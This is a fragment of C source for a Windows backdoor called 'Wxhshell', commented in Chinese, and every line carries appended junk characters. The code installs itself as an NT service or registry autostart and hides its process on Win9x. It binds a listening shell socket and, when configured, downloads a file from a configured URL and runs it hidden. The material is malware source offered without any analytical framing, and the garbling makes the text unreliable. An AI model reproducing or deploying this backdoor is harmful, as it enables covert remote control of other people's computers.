ULONG InheritedFromUniqueProcessId; 'GrRuT<
} PROCESS_BASIC_INFORMATION; ?$<SCN=
d-hbvLn
PROCNTQSIP NtQueryInformationProcess; XXXljh6
s0gJ f[
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <Cu'!h_nL
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f8^"E $"
i B%XBR
HANDLE hProcess; dj3|f{kg{
PROCESS_BASIC_INFORMATION pbi; &K06}[J
+*n]tlk
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ah 4kA LO
if(NULL == hInst ) return 0; *]FgfttES
'n>K^rA
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $X`bm*
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Mg#`t$u
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U%Dit
j -#E?&2
if (!NtQueryInformationProcess) return 0; vZ:G8K)o(
w-J"zC
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <H<!ht%q3
if(!hProcess) return 0; \.5F](:
:]EP@.(
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =\M)6"}y}
3b#L17D3_
CloseHandle(hProcess); 1JIG+ZN md
VxNXd?
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uH$oGY
if(hProcess==NULL) return 0; aZP2R"
NK 8<=
n%"
HMODULE hMod; jz|VF,l
char procName[255]; Cm^Ylp
unsigned long cbNeeded; 2>g^4(
]Fxku<z7|
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HHZ`%
-4 8`#"xy
CloseHandle(hProcess); KrS
wc"9A~
if(strstr(procName,"services")) return 1; // 以服务启动 "";=DH
J)_>%.
return 0; // 注册表启动 wqcDAO(
} 8IeI0f"l)
$Ru&>D#stK
// 主模块 Jl\'V
int StartWxhshell(LPSTR lpCmdLine) ebzzzmwo
{ 1y7y0V
SOCKET wsl; X|,["Az
8
BOOL val=TRUE; Pv~: gP
int port=0; )5U!>,fT
struct sockaddr_in door; L"4]Tm>zq
\Ps5H5Qk;
if(wscfg.ws_autoins) Install(); VDG|>#[!
tp@*=*^I
port=atoi(lpCmdLine); lbd(j{h>4
F9%,MSt
if(port<=0) port=wscfg.ws_port; w:v=se"U
f#1/}Hq/I
WSADATA data; {y1q7Z.M
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b(/j\NWC
[M`=HhJ4
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; d<!IGt4Ky
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); UAdz-)$
door.sin_family = AF_INET; p:Oz<P
door.sin_addr.s_addr = inet_addr("127.0.0.1"); -'j7SOGk
door.sin_port = htons(port); hzv3F9.x
N0nj`
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "$r1$mBi
closesocket(wsl); @$oZ|ZkZ
return 1; 0iF -}o
} ndqckT@93
eIsT!V"7
if(listen(wsl,2) == INVALID_SOCKET) { Z0aUHWms
closesocket(wsl); wE?CvL
return 1; 4oV
{=~V
} Q<1L`_.>
Wxhshell(wsl); )J&|\m(e
WSACleanup(); F.68iN}
ZvH?3Jy
return 0; ^,`M0g\$
5\xr?`VZ
} H$Kw=kMw
C!5I?z&
// 以NT服务方式启动 &~'S)Nun
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [z2eCH
{ S!`:E
DWORD status = 0; VNO'="U
DWORD specificError = 0xfffffff; \X5 3|Y;=
VtWT{y5Ec
serviceStatus.dwServiceType = SERVICE_WIN32; _W}(!TKO
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ^zgacn
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?,>5[Ha^?
serviceStatus.dwWin32ExitCode = 0; 8TW5(fl
serviceStatus.dwServiceSpecificExitCode = 0; zSKKr?{
serviceStatus.dwCheckPoint = 0; GB=bG%Tb
serviceStatus.dwWaitHint = 0; bJwc1AJgH
`0rRKlb j4
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (n,N8k;
if (hServiceStatusHandle==0) return; $~G@
'$?du~L-
status = GetLastError(); 'AWp6L @
if (status!=NO_ERROR) F 5U|9<
{ sBU_Ft
serviceStatus.dwCurrentState = SERVICE_STOPPED; N}DL(-SQ3
serviceStatus.dwCheckPoint = 0; ' Rc#^U*n
serviceStatus.dwWaitHint = 0; Z%OW5]q
serviceStatus.dwWin32ExitCode = status; b)`pZiQP
serviceStatus.dwServiceSpecificExitCode = specificError; {yS;NU`2
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ws[/
return; 7E\g
&R.
} T)~!mifX
-=a[J;'q
serviceStatus.dwCurrentState = SERVICE_RUNNING; #|?8~c;RWG
serviceStatus.dwCheckPoint = 0; (0R2T"/
serviceStatus.dwWaitHint = 0; Im+7<3Z
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Yz\
N&0"
} X8Fzs!L`
toIYE*ocv=
// 处理NT服务事件,比如:启动、停止 !W
/C[$E
VOID WINAPI NTServiceHandler(DWORD fdwControl) xCq'[9oU
{ tDt
:^Bc
switch(fdwControl) <h@]Ri
{ ^Q\XGl
case SERVICE_CONTROL_STOP: qe%V#c
serviceStatus.dwWin32ExitCode = 0; #Kl}= 1
4
serviceStatus.dwCurrentState = SERVICE_STOPPED; ot }6D
serviceStatus.dwCheckPoint = 0; #1gO?N(<=
serviceStatus.dwWaitHint = 0; ;{gT=,KQ`
{ O1'K>teF%
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Kp&3=e;vn{
} W-m"@<Z
return; E30Z`$cz:
case SERVICE_CONTROL_PAUSE: iD714+N(
serviceStatus.dwCurrentState = SERVICE_PAUSED; #ouE r-=
break; B`1kG Ex .
case SERVICE_CONTROL_CONTINUE: ?-,6<K1
serviceStatus.dwCurrentState = SERVICE_RUNNING; j^ nu|
break; \c%g M1
case SERVICE_CONTROL_INTERROGATE: 9@'4P
break; $@.jZ_G
}; i?-Y
SetServiceStatus(hServiceStatusHandle, &serviceStatus); =?/&u<
} ISBF\ wQY
(:7a&2/M
// 标准应用程序主函数 *HeVACxo
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S3y246|4
{ ]2$x|#Gg}
O|e}
// 获取操作系统版本 #c:kCZt#
OsIsNt=GetOsVer(); E-SG8U;
GetModuleFileName(NULL,ExeFile,MAX_PATH); `tVy_/3(9
J|5Ay1eF-
// 从命令行安装 (NaK3_
if(strpbrk(lpCmdLine,"iI")) Install(); "V}qf3qU
J@Yj\9U
// 下载执行文件 4K7{f+T
if(wscfg.ws_downexe) { cz(G]{N
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2Wl{Br.
WinExec(wscfg.ws_filenam,SW_HIDE); r6
}_H?j
} V|: qow:F
Z&Pu8zG
/m
if(!OsIsNt) { lDN?|YG
// 如果时win9x,隐藏进程并且设置为注册表启动 q3+8]-9|5
HideProc(); D/:3RZF
StartWxhshell(lpCmdLine); no&-YktP}
} YtYy zX5u7
else P=gJAE5
if(StartFromService()) _ZyT3P&
// 以服务方式启动 f^e&hyC
StartServiceCtrlDispatcher(DispatchTable); 8,*3zVk-
else Q0>q:aj\
// 普通方式启动 'RLOV
StartWxhshell(lpCmdLine); CXAVGO'xw
IaasHo\
return 0; 5g0_WpO
}